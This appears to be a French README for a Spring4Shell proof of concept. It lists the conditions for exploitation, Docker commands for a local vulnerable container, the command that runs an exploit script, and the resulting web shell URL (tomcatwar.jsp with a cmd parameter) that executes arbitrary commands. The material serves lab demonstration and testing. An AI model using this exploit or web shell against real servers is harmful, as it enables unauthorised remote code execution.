Vulnérabilité RCE Spring4shell

Cette vulnérabilité affecte Spring Core et permet à un attaquant d'envoyer une requête HTTP spécialement conçue pour contourner les protections du parseur de requêtes HTTP de la bibliothèque, menant à une exécution de code à distance.

Plus d'informations ici

Pour que cette vulnérabilité soit exploitée, plusieurs conditions doivent être remplies

• Utiliser JDK 9 ou supérieur
• Avoir Apache Tomcat comme conteneur de servlets
• Être empaqueté en tant que WAR traditionnel (par opposition à un jar exécutable Spring Boot)
• Utiliser la dépendance spring-webmvc ou spring-webflux
• Utiliser les versions du framework Spring 5.3.0 à 5.3.17, 5.2.0 à 5.2.19, ou des versions plus anciennes

POC

• Construire l'image Docker

docker build . -t springshell-rce-poc

• Exécuter le conteneur Docker

docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc

• Exécution de l'exploit

python exploit-poc.py --url "http://127.0.0.1:8081/"

La réponse attendue

exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami

Si vous accédez à cette URL, elle exécutera la commande de votre choix cmd=<cequevousvoulez>

Si vous vous connectez en SSH au conteneur, vous verrez qu'un nouveau fichier a été créé tomcatwar.jsp

docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT